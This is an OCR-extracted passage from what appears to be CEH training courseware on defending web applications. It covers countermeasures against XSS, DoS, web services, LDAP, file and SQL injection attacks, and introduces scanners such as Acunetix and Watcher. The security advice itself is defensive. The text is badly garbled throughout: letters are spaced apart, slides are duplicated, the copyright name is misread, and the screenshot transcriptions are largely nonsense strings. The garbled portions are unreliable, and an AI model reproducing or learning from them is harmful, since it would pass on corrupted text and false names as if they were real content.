t h e  p l a c e s  w h e r e  i n p u t  f r o m  a n  H T T P  r e q u e s t  c o m e s  a s  a n  o u t p u t  t h r o u g h  HTML.

Q A v a r i e t y  o f  d i f f e r e n t  H T M L  t a g s  c a n  b e  u s e d  t o  t r a n s m i t  a  m a l i c i o u s  J a v a S c r i p t .  N e s s u s ,  

N i k t o ,  a n d  o t h e r  t o o l s  c a n  h e l p  t o  s o m e  e x t e n t  f o r  s c a n n i n g  w e b s i t e s  f o r  t h e s e  f l a w s .  If 

v u l n e r a b i l i t y  is d i s c o v e r e d  in o n e  w e b s i t e ,  t h e r e  is a  h i g h  c h a n c e  o f  it b e i n g  v u l n e r a b l e  t o  

o t h e r  a t t a c k s .

© F i l t e r  t h e  s c r i p t  o u t p u t  t o  d e f e a t  XSS v u l n e r a b i l i t i e s  w h i c h  c a n  p r e v e n t  t h e m  f r o m  b e i n g  

t r a n s m i t t e d  t o  u s e r s .

© T h e  e n t i r e  c o d e  o f  t h e  w e b s i t e  h a s  t o  b e  r e v i e w e d  if it  h a s  t o  b e  p r o t e c t e d  a g a i n s t  XSS 

a t t a c k s .  T h e  s a n i t y  o f  t h e  c o d e  s h o u l d  b e  c h e c k e d  b y  r e v i e w i n g  a n d  c o m p a r i n g  it  a g a i n s t  

e x a c t  s p e c i f i c a t i o n s .  T h e  a r e a s  s h o u l d  b e  c h e c k e d  a s  f o l l o w s :  t h e  h e a d e r s ,  a s  w e l l  a s
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c o o k i e s ,  q u e r y  s t r i n g  f o r m  f i e l d s ,  a n d  h i d d e n  f i e l d s .  D u r i n g  t h e  v a l i d a t i o n  p r o c e s s ,  t h e r e  

m u s t  b e  n o  a t t e m p t  t o  r e c o g n i z e  t h e  a c t i v e  c o n t e n t ,  n e i t h e r  t o  r e m o v e  t h e  f i l t e r  n o r  

s a n i t i z e  it.

© T h e r e  a r e  m a n y  w a y s  t o  e n c o d e  t h e  k n o w n  f i l t e r s  f o r  a c t i v e  c o n t e n t .  A " p o s i t i v e  

s e c u r i t y  p o l i c y "  is h i g h l y  r e c o m m e n d e d ,  w h i c h  s p e c i f i e s  w h a t  h a s  t o  b e  a l l o w e d  a n d  

w h a t  h a s  t o  b e  r e m o v e d .  N e g a t i v e  o r  a t t a c k  s i g n a t u r e - b a s e d  p o l i c i e s  a r e  h a r d  t o  

m a i n t a i n ,  a s  t h e y  a r e  i n c o m p l e t e .

0  I n p u t  f i e l d s  s h o u l d  b e  l i m i t e d  t o  a  m a x i m u m  s i n c e  m o s t  s c r i p t  a t t a c k s  n e e d  s e v e r a l  

c h a r a c t e r s  t o  g e t  s t a r t e d .
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How to Defend Against DoS Attack C E H

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

H o w  t o  D e f e n d  A g a i n s t  D o S  A t t a c k s

T ל h e  f o l l o w i n g  a r e  t h e  v a r i o u s  m e a s u r e s  t h a t  c a n  b e  a d o p t e d  t o  d e f e n d  a g a i n s t  D oS  

a t t a c k s :

6  C o n f i g u r e  t h e  f i r e w a l l  t o  d e n y  e x t e r n a l  I n t e r n e t  C o n t r o l  M e s s a g e  P r o t o c o l  ( I C M P )  t r a f f i c

a c c e s s .

© S e c u r e  t h e  r e m o t e  a d m i n i s t r a t i o n  a n d  c o n n e c t i v i t y  t e s t i n g .

© P r e v e n t  u s e  o f  u n n e c e s s a r y  f u n c t i o n s  s u c h  a s  g e t s ,  s t r c p y ,  a n d  r e t u r n  a d d r e s s e s  f r o m  

b e i n g  o v e r w r i t t e n ,  e t c .

0  P r e v e n t  s e n s i t i v e  i n f o r m a t i o n  f r o m  o v e r w r i t i n g .

0  P e r f o r m  t h o r o u g h  i n p u t  v a l i d a t i o n .

© D a t a  p r o c e s s e d  b y  t h e  a t t a c k e r  s h o u l d  b e  s t o p p e d  f r o m  b e i n g  e x e c u t e d .

Secure th e  re m o te  a d m in is tra t io n  

and  c o n n e c tiv ity  te s tin g

P e rfo rm  th o ro u g h

in p u t  v a lid a t io n

C o n fig u re  th e  f ire w a ll to  

d e n y  e x te rn a l In te rn e t 
C o n tro l M essage P ro to co l 

(IC M P ) t ra f f ic  access

Data processed by  th e  
a tta c k e rs h o u ld  be s to p p e d  

f ro m  b e in g  execu ted

P re v e n t use o f  unn ecessary  

fu n c t io n s  such as ge ts , s trcpy , 
and  re tu rn  addresses fro m  

o v e rw r it te n  etc .

P re ve n t th e  sens itive

in fo rm a tio n
fro m  o v e rw r it in g
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How to Defend Against Web 
Services Attack CEH

Urt1fw4 ilhiul lUtbM

Configure firewalls/IDS systems 
for a web services anomaly and 
signature detection

Configure firewalls/ID S systems 
to  f ilte r  im proper SOAP and 
XML syntax

Im plem ent centra lized in -line 
requests and responses 
schema va lida tion

Block exte rna l references and 
use pre-fetched con ten t when 
de-referencing URLs

M ain ta in  and upda tea  secure 
repos ito ry  o f XML schemas

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited

Configure WSDL Access 
C ontro l Perm issions to  grant 
o r deny access to  any type  o f 
WSDL-based SOAP messages

Use docum en t-cen tric  
au then tica tion  c redentia ls 
th a t useSAML

Use multiple security credentials 
such as X.509 Cert, SAML 
assertions and WS-Security

Deploy w e b  services-capable 
firew alls capable o f SOAP and 
ISAPI level filte rin g

H o w  t o  D e f e n d  A g a i n s t  W e b  S e r v i c e s  A t t a c k s

T o  d e f e n d  a g a i n s t  w e b  s e r v i c e s  a t t a c k s ,  t h e r e  s h o u l d  b e  a  p r o v i s i o n  f o r  m u l t i p l e  l a y e r s  

o f  p r o t e c t i o n  t h a t  d y n a m i c a l l y  e n f o r c e s  l e g i t i m a t e  a p p l i c a t i o n  u s a g e  a n d  b l o c k s  all  k n o w n  

a t t a c k  p a t h s  w i t h  o r  w i t h o u t  r e l y i n g  o n  s i g n a t u r e  d a t a b a s e s .  T h i s  c o m b i n a t i o n  h a s  p r o v e n  

e f f e c t i v e  in b l o c k i n g  e v e n  u n k n o w n  a t t a c k s .  S t a n d a r d  HTTP  a u t h e n t i c a t i o n  t e c h n i q u e s  s u c h  a s  

d i g e s t  a n d  SSL c l i e n t - s i d e  c e r t i f i c a t e s  c a n  b e  u s e d  f o r  w e b  s e r v i c e s  a s  w e l l .  S i n c e  m o s t  m o d e l s  

i n c o r p o r a t e  b u s i n e s s - t o - b u s i n e s s  a p p l i c a t i o n s ,  it  b e c o m e s  e a s i e r  t o  r e s t r i c t  a c c e s s  t o  o n l y  v a l i d  

u s e r s .

© C o n f i g u r e  f i r e w a l l s / I D S s  f o r  a  w e b  s e r v i c e s  a n o m a l y  a n d  s i g n a t u r e  d e t e c t i o n .

© C o n f i g u r e  W S D L  A c c e s s  C o n t r o l  P e r m i s s i o n s  t o  g r a n t  o r  d e n y  a c c e s s  t o  a n y  t y p e  o f  

W S D L - b a s e d  S O A P  m e s s a g e s .

© C o n f i g u r e  f i r e w a l l s / I D S  s y s t e m s  t o  f i l t e r  i m p r o p e r  S O A P  a n d  X M L  s y n t a x .

© U s e  d o c u m e n t - c e n t r i c  a u t h e n t i c a t i o n  c r e d e n t i a l s  t h a t  u s e  SAM L.

© I m p l e m e n t  c e n t r a l i z e d  i n - l i n e  r e q u e s t s  a n d  r e s p o n s e s  s c h e m a  v a l i d a t i o n .

© U s e  m u l t i p l e  s e c u r i t y  c r e d e n t i a l s  s u c h  a s  X . 5 0 9  C e r t ,  S A M L  a s s e r t i o n s ,  a n d  W S - S e c u r i t y .

© B lo c k  e x t e r n a l  r e f e r e n c e s  a n d  u s e  p r e - f e t c h e d  c o n t e n t  w h e n  d e - r e f e r e n c i n g  URLs.

© D e p l o y  w e b - s e r v i c e s - c a p a b l e  f i r e w a l l s  c a p a b l e  o f  S O A P -  a n d  ISAPI - l eve l  f i l t e r i n g .
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Q M a i n t a i n  a n d  u p d a t e  a  s e c u r e  r e p o s i t o r y  o f  X M L  s c h e m a s .
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Web Application Countermeasures CEH

B r o k e n  A u t h e n t i c a t i o n  
a n d  S e s s i o n  M a n a g e m e n t

8  Use SSL fo r  a ll a u th e n tica te d  parts 

o f  th e  a p p lica tio n

S  V e rify  w h e th e r a ll th e  users'
id e n titie s  and  creden tia ls  a re  s to re d  

in a hashed fo rm

8  N ever s u b m it session da ta  as p a rt 
o f  a GET, POST

I n s e c u r e  C r y p t o g r a p h i c
S t o r a g e
C Do n o t c re a te  o r  use w e ak 

c ry p to g ra p h ic  a lg o r ith m s

® G ene ra te  e n c ry p t io n  keys o ff l in e  
and s to re  th e m  secure ly

©  Ensure th a t e nc ryp ted  data  s to re d  

on  disk is n o t easy to  d e c ry p t

U n v a l i d a t e d  R e d i r e c t s  ^  
a n d  F o r w a r d s

© A v o id  using red irec ts  and fo rw a rd s

e  I f  d e s tin a tio n  pa ram e te rs  ca n n o t 

be avo ided , ensure th a t the  
supp lied  va lue  is v a lid , and 

a u tho rize d  fo r  th e  user

C r o s s - S i t e  R e q u e s t  
F o r g e r y

L o g o ff im m e d ia te ly  a f te r  using a w e b  
a p p lica tio n  and c le a r th e  h is to ry

Do n o t a llo w  yo u r b ro w se r and 
w e bs ites  to  save lo g in  d e ta ils

Check th e  HTTP R e fe rre r h e a d e r and 
w h en  processing a POST, ignore  URL 

pa ram ete rs

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

W e b  A p p l i c a t i o n  C o u n t e r m e a s u r e s

T h e  f o l l o w i n g  a r e  t h e  v a r i o u s  c o u n t e - m e a s u r e s  t h a t  c a n  b e  a d o p t e d  f o r  w e b  

a p p l i c a t i o n s .

U n v a l i d a t e d  R e d i r e c t s  a n d  F o r w a r d s

A v o i d  u s i n g  r e d i r e c t s  a n d  f o r w a r d s  if d e s t i n a t i o n  p a r a m e t e r s  c a n n o t  b e  a v o i d e d ;  e n s u r e  t h a t  

t h e  s u p p l i e d  v a l u e  is v a l i d ,  a n d  a u t h o r i z e d  f o r  t h e  u s e r .

C r o s s - S i t e  R e q u e s t  F o r g e r y

© Log o f f  i m m e d i a t e l y  a f t e r  u s i n g  a  w e b  a p p l i c a t i o n  a n d  c l e a r  t h e  h i s t o r y .

© D o  n o t  a l l o w  y o u r  b r o w s e r  a n d  w e b s i t e s  t o  s a v e  l o g i n  d e t a i l s .

© C h e c k  t h e  HTTP  R e f e r r e r  h e a d e r  a n d  w h e n  p r o c e s s i n g  a  P O S T,  i g n o r e  URL p a r a m e t e r s .  

B r o k e n  A u t h e n t i c a t i o n  a n d  S e s s i o n  M a n a g e m e n t

© U s e  SSL f o r  all  a u t h e n t i c a t e d  p a r t s  o f  t h e  a p p l i c a t i o n .

© V e r i f y  w h e t h e r  all  t h e  u s e r s '  i d e n t i t i e s  a n d  c r e d e n t i a l s  a r e  s t o r e d  in a  h a s h e d  f o r m .

© N e v e r  s u b m i t  s e s s i o n  d a t a  a s  p a r t  o f  a  GET,  POST.
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I n s e c u r e  C r y p t o g r a p h i c  S t o r a g e

© D o  n o t  c r e a t e  o r  u s e  w e a k  c r y p t o g r a p h i c  a l g o r i t h m s .

© G e n e r a t e  e n c r y p t i o n  k e y s  o f f l i n e  a n d  s t o r e  t h e m  s e c u r e l y .

© E n s u r e  t h a t  e n c r y p t e d  d a t a  s t o r e d  o n  d i s k  is n o t  e a s y  t o  d e c r y p t .
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-

Web Application Counterrr16a&11res
( C o n t ’d):

T A
V \

T A

▼

/ \ y /  I n s u f f i c i e n t  T r a n s p o r t  L a y e r  P r o t e c t i o n

S Non-SSL requests to  web pages should be redirected to  th e  SSL page 

S Set th e  'secure ' flag on all sensitive cookies 

S Configure SSL p rov id e r to  supp o rt on ly  s trong a lgorithm s

2  Ensure th e  certifica te  is va lid , n o t expired, and m atches all dom ains used by the  site 

S Backend and o th e r connections should also use SSL o r o th e r encryp tion  technologies

D i r e c t o r y  T r a v e r s a l

5  Define access rights to  th e  p ro tec ted  areas o f th e  website

6  App ly checks/ho t fixes th a t p revent th e  exp lo ita tion  o f the  vu lne rab ility  
such as Unicode to  affect th e  d irec to ry  traversal

e Web servers should be updated w ith  security  patches in a t im e ly  m anner

C o o k i e / S e s s i o n  P o i s o n i n g

S Do no t s to re  plain tex t o r weakly encrypted password in a cookie 

S Im plem ent cookie 's t im e o u t

t! Cookie's au then tica tion  credentia ls should be associated w ith  an IP address 

S Make logout functions available

s v

.Ccipyright © by EC-CounGil. All Rights ReSeiveilReproduction is Strictly Prohibited.

W e b  A p p l i c a t i o n  C o u n t e r m e a s u r e s  ( C o n t ’ d )

T h e  f o l l o w i n g  a r e  t h e  v a r i o u s  c o u n t e r m e a s u r e s  t h a t  c a n  b e  a d o p t e d  f o r  w e b  

a p p l i c a t i o n s .

I n s u f f i c i e n t  T r a n s p o r t  L a y e r  P r o t e c t i o n

© N o n - S S L  r e q u e s t s  t o  w e b  p a g e s  s h o u l d  b e  r e d i r e c t e d  t o  t h e  SSL p a g e .

© S e t  t h e  ' s e c u r e f ׳ l a g  o n  all  s e n s i t i v e  c o o k i e s .

© C o n f i g u r e  SSL p r o v i d e r  t o  s u p p o r t  o n l y  s t r o n g  a l g o r i t h m s .

© E n s u r e  t h e  c e r t i f i c a t e  is v a l i d ,  n o t  e x p i r e d ,  a n d  m a t c h e s  all d o m a i n s  u s e d  b y  t h e  s i t e .

© B a c k e n d  a n d  o t h e r  c o n n e c t i o n s  s h o u l d  a l s o  u s e  SSL o r  o t h e r  e n c r y p t i o n  t e c h n o l o g i e s .  

D i r e c t o r y  T r a v e r s a l

© D e f i n e  a c c e s s  r i g h t s  t o  t h e  p r o t e c t e d  a r e a s  o f  t h e  w e b s i t e .

© A p p l y  c h e c k s / h o t  f i x e s  t h a t  p r e v e n t  t h e  e x p l o i t a t i o n  o f  t h e  v u l n e r a b i l i t y  s u c h  a s  U n i c o d e

t o  a f f e c t  t h e  d i r e c t o r y  t r a v e r s a l .

© W e b  s e r v e r s  s h o u l d  b e  u p d a t e d  w i t h  s e c u r i t y  p a t c h e s  in a  t i m e l y  m a n n e r .
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C o o k i e / S e s s i o n  P o i s o n i n g

© D o  n o t  s t o r e  p l a i n  t e x t  o r  w e a k l y  e n c r y p t e d  p a s s w o r d  in a  c o o k i e .

© I m p l e m e n t  c o o k i e ' s  t i m e o u t .

© C o o k i e ' s  a u t h e n t i c a t i o n  c r e d e n t i a l s  s h o u l d  b e  a s s o c i a t e d  w i t h  a n  IP a d d r e s s .  

0  M a k e  l o g o u t  f u n c t i o n s  a v a i l a b l e .
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Web Application Countermeasures
( C o n t ’d )

C E H

F i l e  I n j e c t i o n  
A t t a c k

Strongly validate user input

Consider implementing a 
ch roo t ja il

PHP: Disable a llow_url_fopen 
and allow_url_include in 
php.ini

PHP: Disable register_globals 
and use E_STRICTtofind 
uninitialized variables

PHP: Ensure tha t all file  and 
streams functions (stream_*) 
are carefully vetted

Perform type, pattern, and 
dom ain value va lida tion  on all 
input data

Make LDAP filte r  as specific as 
possible

Validate and restrict the 
am oun t o f data returned to  
the user

Implement t ig h t access contro l 
on the data in the LDAP 
d irectory

Perform dynam ic testing and 
source code analysis

S e c u r i t y
M i s c o n f i g u r a t i o n

Configure all security 
mechanisms and turn o ff  all 
unused services

Setup roles, permissions, and 
accounts and disable all 
de fau lt accounts orchange 
the ir default passwords

Scan fo r  latest security 
vulnerabilities and apply the 
latest security patches

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

W e b  A p p l i c a t i o n  C o u n t e r m e a s u r e s  ( C o n t ’ d )

T h e  f o l l o w i n g  a r e  t h e  v a r i o u s  c o u n t e r m e a s u r e s  t h a t  c a n  b e  a d o p t e d  f o r  w e b  

a p p l i c a t i o n s .

S e c u r i t y  M i s c o n f i g u r a t i o n

© C o n f i g u r e  all  s e c u r i t y  m e c h a n i s m s  a n d  t u r n  o f f  all  u n u s e d  s e r v i c e s .

© S e t  u p  r o l e s ,  p e r m i s s i o n s ,  a n d  a c c o u n t s  a n d  d i s a b l e  all  d e f a u l t  a c c o u n t s  o r  c h a n g e  t h e i r

d e f a u l t  p a s s w o r d s .

© S c a n  f o r  l a t e s t  s e c u r i t y  v u l n e r a b i l i t i e s  a n d  a p p l y  t h e  l a t e s t  s e c u r i t y  p a t c h e s .

LD A P I n j e c t i o n  A t t a c k s

© P e r f o r m  t y p e ,  p a t t e r n ,  a n d  d o m a i n  v a l u e  v a l i d a t i o n  o n  all  i n p u t  d a t a .

© M a k e  LDAP f i l t e r s  a s  s p e c i f i c  a s  p o s s i b l e .

© V a l i d a t e  a n d  r e s t r i c t  t h e  a m o u n t  o f  d a t a  r e t u r n e d  t o  t h e  u s e r .

© I m p l e m e n t  t i g h t  a c c e s s  c o n t r o l  o n  t h e  d a t a  in t h e  LDA P d i r e c t o r y .

© P e r f o r m  d y n a m i c  t e s t i n g  a n d  s o u r c e  c o d e  a n a l y s i s .
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Fi l e  I n j e c t i o n  A t t a c k

© S t r o n g l y  v a l i d a t e  u s e r  i n p u t .

© C o n s i d e r  i m p l e m e n t i n g  a  c h r o o t  ja i l .

© P H P :  D i s a b l e  a l l o w _ u r l _ f o p e n  a n d  a l l o w _ u r l _ i n c l u d e  in p h p . i n i .

© P H P :  D i s a b l e  r e g i s t e r _ g l o b a l s  a n d  u s e  E_STRICT t o  f i n d  u n i n i t i a l i z e d  v a r i a b l e s .  

© PH P :  E n s u r e  t h a t  all  f i le  a n d  s t r e a m s  f u n c t i o n s  ( s t r e a m _ * )  a r e  c a r e f u l l y  v e t t e d .
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H o w  t o  D e f e n d  A g a i n s t  W e b  

A p p l i c a t i o n  A t t a c k s
C E H

M a k e  LD AP f i l te r  

as s p e c if ic  as  p o s s ib le

Custom Error PageLDAP ServerO perating  System

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

. ~  H o w  t o  D e f e n d  A g a i n s t  W e b  A p p l i c a t i o n  A t t a c k s

T o  d e f e n d  a g a i n s t  w e b  a p p l i c a t i o n  a t t a c k s ,  y o u  c a n  f o l l o w  t h e  c o u n t e r m e a s u r e s  

s t a t e d  p r e v i o u s l y .  T o  p r o t e c t  t h e  w e b  s e r v e r ,  y o u  c a n  u s e  W A F  f i r e w a l l / I D S  a n d  f i l t e r  p a c k e t s .  

Y o u  n e e d  t o  c o n s t a n t l y  u p d a t e  t h e  s o f t w a r e  u s i n g  p a t c h e s  t o  k e e p  t h e  s e r v e r  u p - t o - d a t e  a n d  t o  

p r o t e c t  it  f r o m  a t t a c k e r s .  S a n i t i z e  a n d  f i l t e r  u s e r  i n p u t ,  a n a l y z e  t h e  s o u r c e  c o d e  f o r  SQL 

i n j e c t i o n ,  a n d  m i n i m i z e  u s e  o f  t h i r d - p a r t y  a p p l i c a t i o n s  t o  p r o t e c t  t h e  w e b  a p p l i c a t i o n s .  Y o u  c a n  

a l s o  u s e  s t o r e d  p r o c e d u r e s  a n d  p a r a m e t e r  q u e r i e s  t o  r e t r i e v e  d a t a  a n d  d i s a b l e  v e r b o s e  e r r o r  

m e s s a g e s ,  w h i c h  c a n  g u i d e  t h e  a t t a c k e r  w i t h  s o m e  u s e f u l  i n f o r m a t i o n  a n d  u s e  c u s t o m  e r r o r  

p a g e s  t o  p r o t e c t  t h e  w e b  a p p l i c a t i o n s .  T o  a v o i d  SQL i n j e c t i o n  i n t o  t h e  d a t a b a s e ,  c o n n e c t  u s i n g  a 

n o n - p r i v i l e g e d  a c c o u n t  a n d  g r a n t  l e a s t  p r i v i l e g e s  t o  t h e  d a t a b a s e ,  t a b l e s ,  a n d  c o l u m n s .  D i s a b l e  

c o m m a n d s  l i ke  x p _ c m d s h e l l ,  w h i c h  c a n  a f f e c t  t h e  O S  o f  t h e  s y s t e m .
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Shut down the 
unnecessary 
services and ports

Keep
patches
current

S a n itize  and  f i l t e r  

u se r in p u t

Configure the firewall

1 י11  l i i i l to deny external

_

ICMP traffic access

5

yy Perform 
input validation

Use WAF Firewall 
/IDS and f ilte r packets

Analyze the source 
code for SQL injection

— Minimize use o f 3rd 
party apps ׳**

InternetAttacker Login Form

Connect to the database 
using non-prlvileged account

Use stored procedures 
and parameter queries

Web Application
Grant least privileges to  the 
database, tables, and columns

7 ? \
A

Perform dynamic testing 
and source code analysis

Disable commands like 
xp_cmdshell

Custom Error Page

Disable verbose error 
messages and use custom 
error pages

Make LDAP filte r 
as specific as possible

LDAP ServerOperating System

FIGURE 13.61: H ow  to  D efend A ga ins t W eb  A p p lic a tio n  A ttacks
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M o d u le  F lo w

W e b  A p p  C o n c e p t s
0 י  I ,

W e b  A p p  T h r e a t s
&

H a c k i n g  M e t h o d o l o g y  ^

W e b  A p p  P e n  T e s t i n g

" * S  C o u n t e r m e a s u r e s

־ ־ ^  M o d u l e  F l o w

N o w  w e  wi l l  d i s c u s s  w e b  a p p l i c a t i o n  s e c u r i t y  t o o l s .  W e b  a p p l i c a t i o n  s e c u r i t y  t o o l s  

h e l p  y o u  t o  d e t e c t  t h e  p o s s i b l e  v u l n e r a b i l i t i e s  in w e b  a p p l i c a t i o n s  a u t o m a t i c a l l y .  P r i o r  t o  t h i s ,  

w e  d i s c u s s e d  w e b  a p p l i c a t i o n  c o u n t e r m e a s u r e s  t h a t  p r e v e n t  a t t a c k e r s  f r o m  e x p l o i t i n g  w e b  

a p p l i c a t i o n s .  In a d d i t i o n  t o  c o u n t e r m e a s u r e s ,  y o u  c a n  a l s o  e m p l o y  s e c u r i t y  t o o l s  t o  p r o t e c t  

y o u r  w e b  a p p l i c a t i o n s  f r o m  b e i n g  h a c k e d .  T o o l s  in a d d i t i o n  t o  t h e  c o u n t e r m e a s u r e s  o f f e r  m o r e  

p r o t e c t i o n .

^  W e b  A p p  P e n  T e s t i n g W e b  A p p  C o n c e p t s

S e c u r i t y  T o o l s W e b  A p p  T h r e a t s

C o u n t e r m e a s u r e s i s !  H a c k i n g  M e t h o d o l o g y

!L 3

W e b  A p p l i c a t i o n  H a c k i n g  T o o l s

O k
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T h i s  s e c t i o n  is d e d i c a t e d  t o  t h e  s e c u r i t y  t o o l s  t h a t  p r o t e c t  w e b  a p p l i c a t i o n s  a g a i n s t  v a r i o u s  

a t t a c k s .
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W e b  A p p l i c a t i o n  S e c u r i t y  T o o l :  r  E  u

A c u n e t i x  W e b  V u l n e r a b i l i t y  S c a n n e r  i

J  A c u n e tix  W VS checks w e b  a p p lic a t io n s  fo r  SQL in je c tio n s , c ro ss -s ite  s c r ip t in g , e tc.

Acunetix Web Vulnerability Scanner (Free Edition)

r

_ 3 a|*> a |3  I ® | i
1 -  J  *^1 | at Rpperi y- ! • i l  JRl: !ht^)://tefattpret.vtinwel~* | Piofife: D?fajll

gjj Alerts summary 77 alerts

File Actions Took Conflguacicn Help : 

J ;׳ 4,  Nov Scan | [fe J

Expo-cr a•־-Tcol

Acunetix Threat Level J
One or more hign seventy type 
vulnerabilities have been dtsccrrred b»

west wtneoMtMS 3rd conpro׳T1;« tne 
backend database anfl'or de*xe you'

A  acunetix threot levol
Level 3: High

ht1p://tett81pnetvuinweb ri 

7123 MQuMti

ToUl alctto found
O  High
O  Mwllum
O >nw
O  informational 

2j target information

Stan It flnuhtd

S c o n R e t t* *
-  0  S:an־T>reac 1 ( htto:/.’tgs:aspnct.v<Jrr*cb. *> I 

B  A W >A e׳t 3 (7 7 )
5  O  A S S J e ־ sa d d n q C 1 a d e V jn e fa b l t  
*  O  Bed SQL Imrcson PJ 
»  O  c n > *  s ite  s c r o t r g  (v e n te d )  CIO)
£ Q SQL ׳ipar (21)
י י  O *׳  o d c a c c n  e r o r  ir e s e a c e  (3]
» O ASPJETef««r ■ne*M9-{l) 
f t  O  C ro w  P ro n e  S en jlr tg  (S ] S
9  O  U «  . * J e - 0J s a « « 1* n t  n  J ea i 
» O  lo o n p f lg e tW M o o 'd o u e w r g o t ta c  
9  O  OPTIONS * c t o d  ■ e n e b lid  (1 )
S  ^  S n w i  C o d »  * V ia u l  Sk u f  Dai) 1 
»1 ^  b-cr psoc web sarvar ׳c90׳ r  dad
>■ ^  0 0 6 : Prcntp•^ ntpnikn* for l>1i
» O  < * 0 6 :  :'0e ® t x  a y  . r e t  s e r s  c fl> מ 
i  9  0 0 8 :  lo g n  p a g e  CIO)
fi O  type Input wltt *utocofttd v

<L
Ytrr.o+1

:0.20 01:30.02. SQL n «a־n ״״׳-Srd) ■fr,mine»t.a%px' a 
10*0 O l J i J / ,  Mushed scanning.
10.20 01:22.32, Savno scan re»J!3 0ז database...
12.20 01:32.39, Dcnr wv n, b d9 »« r.
10.20 01:32.39, Fua «*־ Duffer*.

0 Web Viin-rAMy S a n a 
Web S ta r r

*B -G  Tod 
Sne Oa«ter ״}*< 

i :• • p T a ^ iiF n ie 
Sjbdonah Scanner : 08Msam«r ־OHTTPEdto 
Hnpsmrte* ^  vfc HTTPPUZJC:••׳

fpe*r« « S A1.rt*>P*־׳n'׳
C  O w e < te * J t»

& web S<rvcc»
 Web Se^vrr* Searme ^ :״

v«?e* td * r׳Web Se
91x«ton־־*B-itJ Co

Hl'gv•,* :*״S • •
ot«<1 ׳j:«5™־

li 1CT G eneralSP̂ff-ae'U»a»tr5 
In fw m ow n ״V er so

t \ Ŝ part Ctntm

g )  LKr- 
] £ UMT M«1.«  (p0C 

4■ AcuStrsa״:

http://www.acunetix.com
Copyright ©  by EC-Gauactl. A ll Rights Reserved. Reproduction is S trictly Prohibited.

6  I t  includes advanced p e n e tra t io n  

te s tin g  to o ls , such as th e  HTTP 
E d ito r and th e  HTTP Fuzzer

6  P o rt scans a w e b  se rve r and runs 

secu rity  checks aga inst n e tw o rk  

services

e  Tests w e b  fo rm s  and passw ord- 
p ro te c te d  areas

s  It includes an a u to m a tic  c lie n t 

sc r ip t a n a lyze r a llo w in g  fo r  

secu rity  te s tin g  o f  A jax and W eb 
2 .0  a pp lica tions

Ff• W e b  A p p l i c a t i o n  S e c u r i t y  T o o l :  A c u n e t i x  W e b  

V u l n e r a b i l i t y  S c a n n e r

S o u r c e :  h t t p : / / w w w . a c u n e t i x . c o m

A c u n e t i x  W e b  V u l n e r a b i l i t y  S c a n n e r  a u t o m a t i c a l l y  c h e c k s  y o u r  w e b  a p p l i c a t i o n s  f o r  SQL 

i n j e c t i o n ,  XSS, a n d  o t h e r  w e b  v u l n e r a b i l i t i e s .  It i n c l u d e s  a d v a n c e d  p e n e t r a t i o n  t e s t i n g  t o o l s ,  

s u c h  a s  t h e  HTTP  E d i t o r  a n d  t h e  H T T P  F u z z e r .  It p o r t  s c a n s  a  w e b  s e r v e r  a n d  r u n s  s e c u r i t y  

c h e c k s  a g a i n s t  n e t w o r k  s e r v i c e s .  It e v e n  t e s t s  w e b  f o r m s  a n d  p a s s w o r d - p r o t e c t e d  a r e a s .  T h e  

a u t o m a t i c  c l i e n t  s c r i p t  a n a l y z e r  a l l o w s  f o r  s e c u r i t y  t e s t i n g  o f  A j a x  a n d  W e b  2 . 0  a p p l i c a t i o n s .
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1 -1°Acunetix Web Vulnerability Scanner (Free Edition)In

-  a  star:

File Actions Tools Configuration Help 

I New bean | ' £  J  > A ׳-  2  K? | • י > ׳ & | ־־־־   | ©  | *

| Tools Explore;  0 ן j  ^  * A י־׳  Report /  Star: UR.: http://testaspnet.vulrwel ▼ | Profile: | Default

77 alertsAlwts summary

Acunetix Threat Level 3
One or more highseveritytype 
vulnerabilities have been discovered by 
the scanner. A malicious user can exploit 
these vulnerabilities and compromise the
backend database and/or deface your
website.

A  a cune tix  th rea t level

Level 3: High

Total alerts found

0  High

O Medium 

O  low
0  Informational

, j j  Target information t!ttp://testaspnet.vulnweb.com:80/ ©
^  ^ ta b ft ia 7322 requests ©
1 *  Progress scan is rmisned 100.00% @

Scan Results
- [a ] Scan Thread 1 ( http://testaspnetvuhweb. ׳ -• 

B  Web Alerts (77)

(3 0  ASP .NET Padcmg Drade Viinerab* 

ffl 40  bind SQL injenxx• (8)

S  ^  Cross Site Scrpbng (verified} (10)
B  0  SQL injection (verified] (21)

B  C  Application error messaoe (3)

B  0  ASP.NET error message (1)

B  0  Cross Fra-ne Scripting (6)

B  0  User credentials a־e sent in dear te.

B  0  Login page password-guessing attec 

B  0  CPTIONS metnod s  erabled (1)

B  ^  Session Cookie without Secure flag £

B  0  Error page Web Serve׳ versior dsd 

B  0  QHDB: Frontpage extensions for Uni 

B  0  QHDB: Possible ASP.fCT sensitve i  

B  0  Q OB: Tywcallogh paje (10)

B  0  Password type input with autocompT v  

< |_ Ml j | > | 1
Activity V/indow

□

10.20 01:30.02, SQL njection (venfied) Treadnews.aspx* cn pararreter *id'
10.20 01:3237, Finished scanning.
10.20 01132.37, Saving scon results todatabatc ..
10.20 01:32.39, Done saving to database.
10.20 01:32.39, Hush Ne butlers.

|A^icaton''(^]| Error Log

a | Web Vulnerablity Scanner|
® web scanner

B  0 7  Toola
H 5 fr  Site Crawler 

f i  Target Finder\״״
Subdcmain Scanner..........

@ Bind SQL Injector 
^ HTTP Editor 

HTTP Sniffer 
H I  HTTP Fuzzer 
h - d  Authentication Tester 

j y  Compare Resdts~״:
B  - f i?  Web Servces 

Web Servces Scanner 
—}*£ Web Servces Editor

B  Configuration

•■■••;S i Application Settinos 
h - 8  Scan Settings 

<23 Scannng Profiles....
H -f^ r  Generol 

^ Program Lpdates 
--C T  Version Information 

•j f  Licensng 
support center 
Purchase 
User Manual (html)

(]£< User Manual (pdf 
AcuSensor '•••״#

Ready

FIGURE 13.62: A cu n e tix  W e b  V u ln e ra b ility  S canner Too l S creenshot
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W e b  A p p l i c a t i o n  S e c u r i t y  T o o l :  

W a t c h e r  W e b  S e c u r i t y  T o o l
C E H

J  W a tc h e r is a p lu g in  fo r  th e  F id d le r  HTTP p ro x y  th a t  p a ss ive ly  a u d its  a w e b  a p p lic a tio n  to  f in d  s e c u r ity

